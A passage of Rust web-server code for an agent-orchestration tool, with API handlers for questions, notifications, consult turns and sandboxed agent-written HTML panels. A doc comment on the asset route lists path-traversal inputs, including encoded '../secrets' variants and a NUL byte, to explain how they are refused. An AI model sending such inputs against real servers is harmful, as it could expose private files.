8126    run: Option<String>,
8127    chat: Option<String>,
8128    display: String,
8129    delivery_error: Option<String>,
8130    decision: crate::task_decision::Decision,
8131}
8132
8133impl DecisionView {
8134    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8135        Some(Self {
8136            id: inquiry.id,
8137            task: inquiry.task,
8138            run: inquiry.run,
8139            chat: inquiry.delivered_to,
8140            display: inquiry.display,
8141            delivery_error: inquiry.delivery_error,
8142            decision: inquiry.decision?,
8143        })
8144    }
8145}
8146
8147#[derive(serde::Serialize)]
8148struct DecisionsView {
8149    items: Vec<DecisionView>,
8150    unreadable: usize,
8151    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8152}
8153
8154// Read-only: list visits and inquiry links never create owner decisions,
8155// delivery receipts or effect acknowledgements.
8156async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8157    blocking(move || {
8158        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8159        let mut views: Vec<_> = items
8160            .into_iter()
8161            .filter_map(DecisionView::from_inquiry)
8162            .collect();
8163        views.sort_by_key(|view| {
8164            (
8165                view.decision.status == crate::task_decision::Status::Resolved,
8166                view.id.clone(),
8167            )
8168        });
8169        Ok(Json(DecisionsView {
8170            items: views,
8171            unreadable,
8172            migration_errors: crate::task_chat::migration_issues(&ui.home),
8173        }))
8174    })
8175    .await
8176}
8177
8178async fn decision_get(
8179    State(ui): State<Arc<Ui>>,
8180    Path(id): Path<String>,
8181) -> ApiResult<Json<DecisionView>> {
8182    blocking(move || {
8183        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8184        DecisionView::from_inquiry(inquiry)
8185            .map(Json)
8186            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8187    })
8188    .await
8189}
8190
8191async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8192    blocking(move || {
8193        let questions = ui.questions.list();
8194        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8195        Ok(Json(
8196            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8197                .into_iter()
8198                .map(|view| view.with_origin(&tasks, &talks, &watches))
8199                .collect(),
8200        ))
8201    })
8202    .await
8203}
8204
8205/// Question content and answer controls never wait for task/chat provenance.
8206async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8207    blocking(move || {
8208        Ok(Json(question_views(
8209            ui.questions.list(),
8210            &ui.questions,
8211            || deputy_config(&ui.repo),
8212        )))
8213    })
8214    .await
8215}
8216
8217fn question_record_revision(question: &Question) -> String {
8218    use std::hash::{Hash as _, Hasher as _};
8219    let mut hash = std::hash::DefaultHasher::new();
8220    serde_json::to_vec(question)
8221        .expect("serializable question")
8222        .hash(&mut hash);
8223    format!("{:016x}", hash.finish())
8224}
8225
8226#[derive(Serialize)]
8227struct QuestionOriginView {
8228    id: String,
8229    record_revision: String,
8230    origin_chat: Option<String>,
8231    origin_chat_closed: bool,
8232    can_consult_chat: bool,
8233}
8234
8235async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8236    blocking(move || {
8237        let questions = ui.questions.list();
8238        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8239        Ok(Json(
8240            questions
8241                .into_iter()
8242                .map(|question| {
8243                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8244                    let can_consult_chat = consult.is_some();
8245                    let talk = crate::consult::associated_talk_with_watches(
8246                        &tasks, &talks, &question, &watches,
8247                    );
8248                    QuestionOriginView {
8249                        record_revision: question_record_revision(&question),
8250                        id: question.id,
8251                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8252                        origin_chat: talk.map(|talk| talk.id),
8253                        can_consult_chat,
8254                    }
8255                })
8256                .collect(),
8257        ))
8258    })
8259    .await
8260}
8261
8262type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8263
8264/// Only the task ancestry and chats these questions actually reference. Run
8265/// mappings share the reconciled queue index; exact task references bypass it.
8266/// No question means no task/chat I/O, including no index reconciliation.
8267fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8268    fn task_for_run(
8269        ui: &Ui,
8270        index: &mut Option<Vec<Arc<TaskRelation>>>,
8271        run: &str,
8272        loaded: &HashMap<String, Task>,
8273    ) -> ApiResult<Option<Task>> {
8274        if !plain_record_id(run) {
8275            return Ok(None);
8276        }
8277        if index.is_none() {
8278            *index = Some(ui.indexed_tasks()?);
8279        }
8280        Ok(index
8281            .as_ref()
8282            .expect("loaded index")
8283            .iter()
8284            .find(|task| task.runs.iter().any(|id| id == run))
8285            .and_then(|task| {
8286                loaded
8287                    .get(&task.id)
8288                    .cloned()
8289                    .or_else(|| ui.queue.get(&task.id).ok())
8290            })
8291            .filter(|task| task.runs.iter().any(|id| id == run)))
8292    }
8293    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8294        plain_record_id(id)
8295            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8296            .flatten()
8297            .filter(|task| task.id == id)
8298    };
8299    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8300    let mut index = None;
8301    let mut tasks = HashMap::new();
8302    let mut talks = HashMap::new();
8303    for question in questions {
8304        for reference in crate::consult::question_task_refs(question, &watches) {
8305            let mut current = match reference {
8306                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8307                crate::consult::QuestionTaskRef::Run(id) => {
8308                    task_for_run(ui, &mut index, id, &tasks)?
8309                }
8310            };
8311            let mut seen = HashSet::new();
8312            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8313                let Some(task) = current.take() else {
8314                    break;
8315                };
8316                if !seen.insert(task.id.clone()) {
8317                    break;
8318                }
8319                let chat = task.chat_talk().map(str::to_owned);
8320                let followup = task.followup.clone();
8321                tasks.insert(task.id.clone(), task);
8322                if let Some(chat) = chat {
8323                    if plain_record_id(&chat)
8324                        && !talks.contains_key(&chat)
8325                        && let Ok(talk) = ui.talks.get(&chat)
8326                    {
8327                        talks.insert(chat, talk);
8328                    }
8329                    break;
8330                }
8331                let Some(followup) = followup else {
8332                    break;
8333                };
8334                current = match followup.origin_task {
8335                    Some(id) => direct_task(&id, &tasks),
8336                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8337                };
8338            }
8339        }
8340    }
8341    let mut tasks: Vec<Task> = tasks.into_values().collect();
8342    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8343    Ok((tasks, talks.into_values().collect(), watches))
8344}
8345
8346/// `GET /api/notifications`: not dismissed, newest first, with the unread
8347/// count so the badge and the list cannot disagree.
8348async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8349    blocking(move || {
8350        let items = ui.notices.list();
8351        let unread = items.iter().filter(|n| n.unread()).count();
8352        let items: Vec<_> = items
8353            .into_iter()
8354            .map(|n| {
8355                let question = crate::notices::answerable_question(&n, &ui.questions);
8356                let mut item = serde_json::to_value(n)?;
8357                item["answerable_question"] = serde_json::json!(question);
8358                Ok(item)
8359            })
8360            .collect::<anyhow::Result<_>>()?;
8361        Ok(Json(
8362            serde_json::json!({ "unread": unread, "items": items }),
8363        ))
8364    })
8365    .await
8366}
8367
8368fn notice_error(e: anyhow::Error) -> ApiError {
8369    // An unknown or malformed id and a vanished file are the same answer to
8370    // the phone: that notification is gone.
8371    ApiError::not_found(format!("{e:#}"))
8372}
8373
8374/// `POST /api/notifications/{id}/read`.
8375async fn notification_read(
8376    State(ui): State<Arc<Ui>>,
8377    Path(id): Path<String>,
8378) -> ApiResult<Json<Notice>> {
8379    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8380}
8381
8382/// `POST /api/notifications/{id}/dismiss`.
8383async fn notification_dismiss(
8384    State(ui): State<Arc<Ui>>,
8385    Path(id): Path<String>,
8386) -> ApiResult<Json<Notice>> {
8387    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8388}
8389
8390/// `POST /api/notifications/read-all`.
8391async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8392    blocking(move || {
8393        let changed = ui.notices.mark_all_read()?;
8394        Ok(Json(serde_json::json!({ "marked": changed })))
8395    })
8396    .await
8397}
8398
8399/// The body of `POST /api/questions/{id}/answer`.
8400///
8401/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8402/// a bad request rather than a guess: an answer magi invented is worse than a
8403/// question left open.
8404#[derive(Debug, Default, Deserialize)]
8405#[serde(default, deny_unknown_fields)]
8406struct NewAnswer {
8407    choice: Option<String>,
8408    text: Option<String>,
8409    talk: Option<String>,
8410    head: Option<String>,
8411}
8412
8413async fn question_answer(
8414    State(ui): State<Arc<Ui>>,
8415    Path(id): Path<String>,
8416    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8417) -> ApiResult<Json<QuestionView>> {
8418    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8419    let answer = match (body.choice, body.text) {
8420        (Some(c), None) => Answer::Choice(c),
8421        (None, Some(t)) => Answer::Text(t),
8422        (Some(_), Some(_)) => {
8423            return Err(ApiError::bad_request(
8424                "send either `choice` or `text`, not both",
8425            ));
8426        }
8427        (None, None) => {
8428            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8429        }
8430    };
8431
8432    blocking(move || {
8433        let id = resolve_question(&ui.questions, &id)?;
8434        let q = ui
8435            .questions
8436            .get(&id)
8437            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8438        if !q.can_answer() {
8439            // Answered from the terminal, or by another phone, in between the
8440            // list and the tap. The UI shows the recorded answer rather than an
8441            // error, so it needs the record, not just the status.
8442            return Err(ApiError::conflict(format!(
8443                "question {} is already {}",
8444                q.short(),
8445                q.status.as_str()
8446            )));
8447        }
8448        // `Question::answer` owns the rules - an unoffered choice, free text on
8449        // a multiple-choice question, an empty reply - so the route does not
8450        // restate them and cannot drift from the CLI's behaviour.
8451        let cfg = deputy_config(&ui.repo);
8452        let (q, ()) = ui
8453            .questions
8454            .update(&q.id, |r| {
8455                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8456                // Buttons retain their displayed chat/head binding. A direct
8457                // decision does not require a button or a prior persona offer.
8458                if r.routed_task.is_some()
8459                    && r.merge_target.is_some()
8460                    && merge
8461                    && (body.talk.is_some() || body.head.is_some())
8462                {
8463                    let talk_id = body
8464                        .talk
8465                        .as_deref()
8466                        .context("approval button requires its chat")?;
8467                    let head = body
8468                        .head
8469                        .as_deref()
8470                        .context("approval button requires the displayed head")?;
8471                    let talk = ui.talks.get(talk_id)?;
8472                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8473                    r.answer_chat_button(answer, talk_id, head)
8474                } else {
8475                    r.answer(answer)
8476                }
8477            })
8478            .map_err(ApiError::bad_request_from)?;
8479        let (tasks, talks, watches) =
8480            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8481        Ok(Json(
8482            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8483        ))
8484    })
8485    .await
8486}
8487
8488/// A dedicated status avoids the client's settled-question 409 handling.
8489fn question_text_error(e: anyhow::Error) -> ApiError {
8490    let reason = e
8491        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8492        .map(|e| e.reason);
8493    let error = ApiError::bad_request_from(e);
8494    if let Some(reason) = reason {
8495        ApiError {
8496            text_reason: Some(reason),
8497            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8498        }
8499    } else {
8500        error
8501    }
8502}
8503
8504/// The body of `POST /api/questions/{id}/say`.
8505#[derive(Debug, Deserialize)]
8506#[serde(deny_unknown_fields)]
8507struct NewSay {
8508    body: String,
8509}
8510
8511/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8512///
8513/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8514/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8515/// file, so there is no turn to serialize against and no
8516/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8517/// is a *different* process - the run parked behind `magi ask` - and picks
8518/// the reply up on its own poll of the very same file, same as an answer
8519/// does.
8520async fn question_say(
8521    State(ui): State<Arc<Ui>>,
8522    Path(id): Path<String>,
8523    body: std::result::Result<Json<NewSay>, JsonRejection>,
8524) -> ApiResult<Json<QuestionView>> {
8525    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8526    blocking(move || {
8527        let id = resolve_question(&ui.questions, &id)?;
8528        let q = ui
8529            .questions
8530            .get(&id)
8531            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8532        if !q.status.open() {
8533            // Same granularity as `question_answer`: answered or abandoned in
8534            // between the list and the tap is not this route's error to
8535            // explain any differently.
8536            return Err(ApiError::conflict(format!(
8537                "question {} is already {}",
8538                q.short(),
8539                q.status.as_str()
8540            )));
8541        }
8542        // `Question::say` owns the one rule that matters here - an empty
8543        // message tells the agent nothing - so the route does not restate it.
8544        let cfg = deputy_config(&ui.repo);
8545        let (q, ()) = ui
8546            .questions
8547            .update(&q.id, |r| {
8548                if body.body.trim().is_empty() {
8549                    return r.say(body.body);
8550                }
8551                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8552                r.say(body.body)
8553            })
8554            .map_err(question_text_error)?;
8555        let (tasks, talks, watches) =
8556            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8557        Ok(Json(
8558            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8559        ))
8560    })
8561    .await
8562}
8563
8564/// A disconnected request or a replacing listener cannot interrupt the short
8565/// transaction between persistence and detached worker publication.
8566async fn admitted<T: Send + 'static>(
8567    admission: AdmissionGuard,
8568    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8569) -> ApiResult<T> {
8570    tokio::spawn(async move {
8571        let result = work.await;
8572        drop(admission);
8573        result
8574    })
8575    .await
8576    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8577}
8578
8579/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8580/// came from. The question stays open: the chat agent answers it with `magi
8581/// answer`, or puts the decision to the owner in the conversation.
8582///
8583/// Answers 202 and runs the turn in the background, like every route that
8584/// spends agent calls. The text is queued as a draft of the existing talk, and
8585/// the turn goes through the talk's own gate and session; no seat or waiter is
8586/// started here.
8587async fn question_consult(
8588    State(ui): State<Arc<Ui>>,
8589    Path(id): Path<String>,
8590) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8591    let admission = ui.begin_admission()?;
8592    admitted(admission, async move {
8593        let (q, tasks, talks, watches, talk, cfg) = blocking({
8594            let ui = Arc::clone(&ui);
8595            move || {
8596                let id = resolve_question(&ui.questions, &id)?;
8597                let q = ui.questions.get(&id).map_err(|e| {
8598                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8599                })?;
8600                if !q.status.open() {
8601                    return Err(ApiError::conflict(format!(
8602                        "question {} is already {}",
8603                        q.short(),
8604                        q.status.as_str()
8605                    )));
8606                }
8607                let (tasks, talks, watches) =
8608                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8609                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8610                    return Err(ApiError::conflict(format!(
8611                        "question {} has no chat to ask",
8612                        q.short()
8613                    )));
8614                };
8615                // Read the config before `begin` saves anything: a failure here
8616                // must leave no consult record or draft behind, or a retry would
8617                // see `fresh == false` and never start the turn.
8618                let cfg = if q.consult.is_none() {
8619                    Some(Config::discover(&talk.repo, None)?.0)
8620                } else {
8621                    None
8622                };
8623                Ok((q, tasks, talks, watches, talk, cfg))
8624            }
8625        })
8626        .await?;
8627        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8628            .await
8629            .map_err(ApiError::from)?;
8630        let (view, reclaimed, submitted) = blocking({
8631            let ui = Arc::clone(&ui);
8632            move || {
8633                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8634                let claim = if fresh {
8635                    match ui.begin_queued_talk_turn(&talk.id)? {
8636                        Some(turn_guard) => {
8637                            let talk = ui.talks.get(&talk.id)?;
8638                            let cfg = match cfg {
8639                                Some(cfg) => cfg,
8640                                None => Config::discover(&talk.repo, None)?.0,
8641                            };
8642                            Some((talk, cfg, turn_guard))
8643                        }
8644                        None => None,
8645                    }
8646                } else {
8647                    None
8648                };
8649                let q = ui.questions.get(&q.id)?;
8650                let cfg = deputy_config(&ui.repo);
8651                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8652                    .with_origin(&tasks, &talks, &watches);
8653                Ok((view, claim, fresh.then_some(talk.id)))
8654            }
8655        })
8656        .await?;
8657        #[cfg(not(test))]
8658        {
8659            if let Some(id) = submitted {
8660                crate::chat_worker::spawn_turn(&ui.talks, &id)
8661                    .await
8662                    .map_err(ApiError::from)?;
8663            }
8664            drop(reclaimed);
8665        }
8666        #[cfg(test)]
8667        let _ = submitted;
8668        #[cfg(test)]
8669        if let Some((talk, cfg, turn_guard)) = reclaimed {
8670            let talks = ui.talks.clone();
8671            let id = talk.id.clone();
8672            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8673        }
8674        Ok((StatusCode::ACCEPTED, Json(view)))
8675    })
8676    .await
8677}
8678
8679/// Expand an id or short id to exactly one question id.
8680fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8681    if plain_record_id(id) && store.path_of(id).is_file() {
8682        return Ok(id.to_owned());
8683    }
8684    pick(
8685        store.list().into_iter().map(|q| q.id).collect(),
8686        id,
8687        "question",
8688    )
8689}
8690
8691/// `GET /api/questions/{id}/panel`.
8692///
8693/// The panel an agent wrote for this question, as `text/html` under
8694/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8695/// A question without one is a 404 rather than an empty page: the client
8696/// preflights this route with `HEAD` and must be able to tell "no panel" from
8697/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8698/// parent document so it cannot tell the difference by looking.
8699///
8700/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8701/// sanitises or minifies it - a sanitiser is a list of things someone thought
8702/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8703/// is the direction that stays safe when an agent writes markup nobody
8704/// predicted.
8705async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8706    blocking(move || {
8707        let id = resolve_question(&ui.questions, &id)?;
8708        let Some(html) = ui.questions.panel_html(&id) else {
8709            return Err(ApiError::not_found(format!("question {id} has no panel")));
8710        };
8711        Ok(panel_response(
8712            "text/html; charset=utf-8",
8713            false,
8714            html.into_bytes(),
8715        ))
8716    })
8717    .await
8718}
8719
8720/// `GET /api/questions/{id}/asset/{name}`.
8721///
8722/// One file from the question's own panel directory, so a panel can show a
8723/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8724/// having to allow anything off this machine.
8725///
8726/// This is the only route in the server where a client names a file, so it is
8727/// the only one with a traversal surface, and the name is checked by
8728/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8729/// what is worth being explicit about, because the answer is not "all of it in
8730/// one place":
8731///
8732/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8733///   the raw request path and `{name}` spans exactly one segment, so a real
8734///   slash makes the request too long for the route and the router answers 404.
8735/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8736///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8737///   `..\secrets` respectively, which look like plain filenames to the router.
8738///   The validator refuses them here - both for the literal `..` and because
8739///   `/` and `\` are not in the permitted character set - and answers 400.
8740/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8741///   the platform's path API is not, and it is refused here for the same
8742///   reason: NUL is not a permitted character.
8743/// * [`Questions::panel_asset`] validates again on read, so the check is not
8744///   load-bearing in only one place. This route's own check exists so the
8745///   failure is a 400 that says which name was wrong, rather than a store error
8746///   the operator has to interpret.
8747async fn question_asset(
8748    State(ui): State<Arc<Ui>>,
8749    Path((id, name)): Path<(String, String)>,
8750) -> ApiResult<Response> {
8751    // Before any filesystem work and before any path is built: a name this
8752    // server will not serve should not become a `PathBuf` at all.
8753    if !crate::ask::valid_asset_name(&name) {
8754        return Err(ApiError::bad_request(format!(
8755            "`{name}` is not a usable asset name"
8756        )));
8757    }
8758    blocking(move || {
8759        let id = resolve_question(&ui.questions, &id)?;
8760        let asset = ui
8761            .questions
8762            .panel_asset(&id, &name)
8763            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8764        let Some(bytes) = asset else {
8765            return Err(ApiError::not_found(format!(
8766                "question {id} has no asset `{name}`"
8767            )));
8768        };
8769        Ok(panel_response(
8770            asset_content_type(&name),
8771            is_svg(&name),
8772            bytes,
8773        ))
8774    })
8775    .await
8776}
8777
8778/// Content type for a panel asset, from a closed whitelist.
8779///
8780/// A whitelist with an `application/octet-stream` fallback rather than a
8781/// guess, because the one answer that must never come out of here is
8782/// `text/html`. An agent that writes `notes.html` into its panel directory and
8783/// links it would otherwise get its own markup rendered at the top level of the
8784/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8785/// magi's origin - which is precisely the thing the panel design exists to
8786/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8787///
8788/// `nosniff` accompanies this on every response, so a browser cannot decide it
8789/// knows better than the type we sent.
8790fn asset_content_type(name: &str) -> &'static str {
8791    match extension(name).as_deref() {
8792        Some("png") => "image/png",
8793        Some("jpg" | "jpeg") => "image/jpeg",
8794        Some("gif") => "image/gif",
8795        Some("webp") => "image/webp",
8796        Some("svg") => "image/svg+xml",
8797        Some("css") => "text/css; charset=utf-8",
8798        Some("txt") => "text/plain; charset=utf-8",
8799        _ => "application/octet-stream",
8800    }
8801}
8802
8803/// Is this an SVG, and therefore a file that must never be opened at the top
8804/// level?
8805fn is_svg(name: &str) -> bool {
8806    extension(name).as_deref() == Some("svg")
8807}
8808
8809/// Lowercased extension, or `None` for a name without one.
8810fn extension(name: &str) -> Option<String> {
8811    name.rsplit_once('.')
8812        .map(|(_, ext)| ext.to_ascii_lowercase())
8813}
8814
8815/// Every panel response, with the four headers that make it safe and, for an
8816/// SVG, a fifth.
8817///
8818/// One function rather than a header list per handler, because a panel route
8819/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8820/// model gone, silently, on one of two routes. Adding a third panel route later
8821/// means calling this, and there is nowhere else to build a panel response.
8822///
8823/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8824/// as an `<img src>` inside the panel that script cannot run - but the asset
8825/// URL is also a plain URL an operator can be talked into opening in a tab,
8826/// where it is a document on magi's own origin. `Content-Disposition:
8827/// attachment` makes the browser download it instead of rendering it, which
8828/// closes that door without taking away the ability to draw a diff. Raster
8829/// images have no such execution surface and are left inline, so tapping a
8830/// screenshot still shows it.
8831fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8832    let mut res = (
8833        [
8834            (header::CONTENT_TYPE, content_type),
8835            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8836            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8837            (header::REFERRER_POLICY, "no-referrer"),
8838        ],
8839        body,
8840    )
8841        .into_response();
8842    if download {
8843        res.headers_mut().insert(
8844            header::CONTENT_DISPOSITION,
8845            HeaderValue::from_static("attachment"),
8846        );
8847    }
8848    res
8849}
8850
8851/// A talk as the phone reads it.
8852///
8853/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8854/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8855/// parses markdown itself - and the process-local `thinking` hint.
8856#[derive(Debug, Serialize)]
8857struct ChatApproval {
8858    question: String,
8859    target: crate::merge_decision::Target,
8860}
8861
8862#[derive(Debug, Serialize)]
8863struct TalkView {
8864    #[serde(flatten)]
8865    talk: Talk,
8866    turn_bodies_md: Vec<Vec<md::Node>>,
8867    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8868    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8869    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8870    merge_approvals: Vec<ChatApproval>,
8871    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8872    /// this server process.
8873    ///
8874    /// This is deliberately not durable: another server process cannot see
8875    /// it, and a restarted server must not claim an old turn is live. It is a
8876    /// progress hint rather than proof a reply landed; the transcript remains
8877    /// the source of truth for that.
8878    thinking: bool,
8879    /// Context-window usage, derived per request - see
8880    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8881    /// and each mutation) so the phone needs no extra call or polling.
8882    context: talk::ContextUsage,
8883    /// `[talk] operator_name`, when configured; the Chat labels the
8884    /// operator's turns with it.
8885    operator_name: Option<String>,
8886    /// The active persona's display name; `None` for the default voice.
8887    persona_name: Option<String>,
8888    /// URL of the avatar for the conversation's persona (the default voice
8889    /// included). Server-built; a configured `icon` never reaches the client.
8890    persona_avatar: String,
8891    /// Operator avatar; display only and independent of repository config.
8892    operator_avatar: String,
8893    magi_avatar: String,
8894}
8895
8896impl TalkView {
8897    /// Reads the talk's repository config itself; a config that cannot be
8898    /// read leaves the window unknown but never fails the conversation.
8899    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8900        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8901        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8902    }
8903
8904    /// As [`Self::new`], with the config already in hand (the list reads one
8905    /// per repository, not one per conversation).
8906    fn with_config(
8907        talk: Talk,
8908        thinking: bool,
8909        cfg: Option<&Config>,
8910        home: &FsPath,
8911        cache: &id_links::IndexCache,
8912    ) -> Self {
8913        let references = cache.for_talk(home, &talk);
8914        Self::with_references(talk, thinking, cfg, home, &references)
8915    }
8916
8917    fn with_references(
8918        mut talk: Talk,
8919        thinking: bool,
8920        cfg: Option<&Config>,
8921        home: &FsPath,
8922        references: &id_links::IdIndex,
8923    ) -> Self {
8924        // This owned value is the display DTO; never write it back to the talk store.
8925        let snapshot = talk.clone();
8926        for (index, turn) in talk.turns.iter_mut().enumerate() {
8927            let original = &snapshot.turns[index];
8928            if turn.messages.is_empty() {
8929                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8930                    turn.messages.push(talk::Message {
8931                        sender: Some(talk::Sender::Magi),
8932                        body: original.body.clone(),
8933                        display: Some(display),
8934                        recovery_event: None,
8935                        attachments: original.attachments.clone(),
8936                        reply: None,
8937                    });
8938                }
8939            } else {
8940                for (i, message) in turn.messages.iter_mut().enumerate() {
8941                    message.display =
8942                        talk::notice_display(&snapshot, original, original.messages.get(i));
8943                    if message.display.is_some() {
8944                        message.sender = Some(talk::Sender::Magi);
8945                    }
8946                }
8947            }
8948        }
8949        for message in &mut talk.pending_messages {
8950            if message.display.is_none()
8951                && (message.sender == Some(talk::Sender::Magi)
8952                    || snapshot
8953                        .completion_notices
8954                        .iter()
8955                        .any(|r| r.notice == message.body))
8956            {
8957                message.display = crate::prompt::legacy_notice_display(&message.body);
8958                if message.display.is_some() {
8959                    message.sender = Some(talk::Sender::Magi);
8960                }
8961            }
8962        }
8963        if talk.pending_messages.is_empty()
8964            && snapshot
8965                .completion_notices
8966                .iter()
8967                .any(|r| r.notice == talk.pending)
8968            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8969        {
8970            talk.pending_messages.push(talk::Message {
8971                sender: Some(talk::Sender::Magi),
8972                display: Some(display),
8973                recovery_event: None,
8974                body: talk.pending.clone(),
8975                attachments: talk.pending_attachments.clone(),
8976                reply: None,
8977            });
8978        }
8979        let excerpts: Vec<Vec<Option<String>>> = talk
8980            .turns
8981            .iter()
8982            .map(|turn| {
8983                turn.messages
8984                    .iter()
8985                    .map(|m| {
8986                        m.display
8987                            .as_ref()
8988                            .map(|d| d.facts.chars().take(240).collect())
8989                    })
8990                    .collect()
8991            })
8992            .collect();
8993        for turn in &mut talk.turns {
8994            let provenance = talk::sender(turn, None);
8995            turn.sender = Some(provenance);
8996            for message in &mut turn.messages {
8997                message.sender = Some(message.sender.unwrap_or(provenance));
8998            }
8999        }
9000        // Old reply snapshots have only a role; recover provenance from their target.
9001        let senders: Vec<Vec<talk::Sender>> = talk
9002            .turns
9003            .iter()
9004            .map(|turn| {
9005                if turn.messages.is_empty() {
9006                    vec![talk::sender(turn, None)]
9007                } else {
9008                    turn.messages
9009                        .iter()
9010                        .map(|m| talk::sender(turn, Some(m)))
9011                        .collect()
9012                }
9013            })
9014            .collect();
9015        for reply in talk
9016            .turns
9017            .iter_mut()
9018            .flat_map(|t| t.messages.iter_mut())
9019            .chain(talk.pending_messages.iter_mut())
9020            .filter_map(|m| m.reply.as_mut())
9021        {
9022            if let Some(Some(excerpt)) = excerpts
9023                .get(reply.target.turn)
9024                .and_then(|ms| ms.get(reply.target.message))
9025            {
9026                reply.excerpt = excerpt.clone();
9027                reply.sender = Some(talk::Sender::Magi);
9028            }
9029            if reply.sender.is_none() {
9030                reply.sender = senders
9031                    .get(reply.target.turn)
9032                    .and_then(|messages| messages.get(reply.target.message))
9033                    .copied();
9034            }
9035        }
9036        let context = talk::context_usage(&talk, cfg);
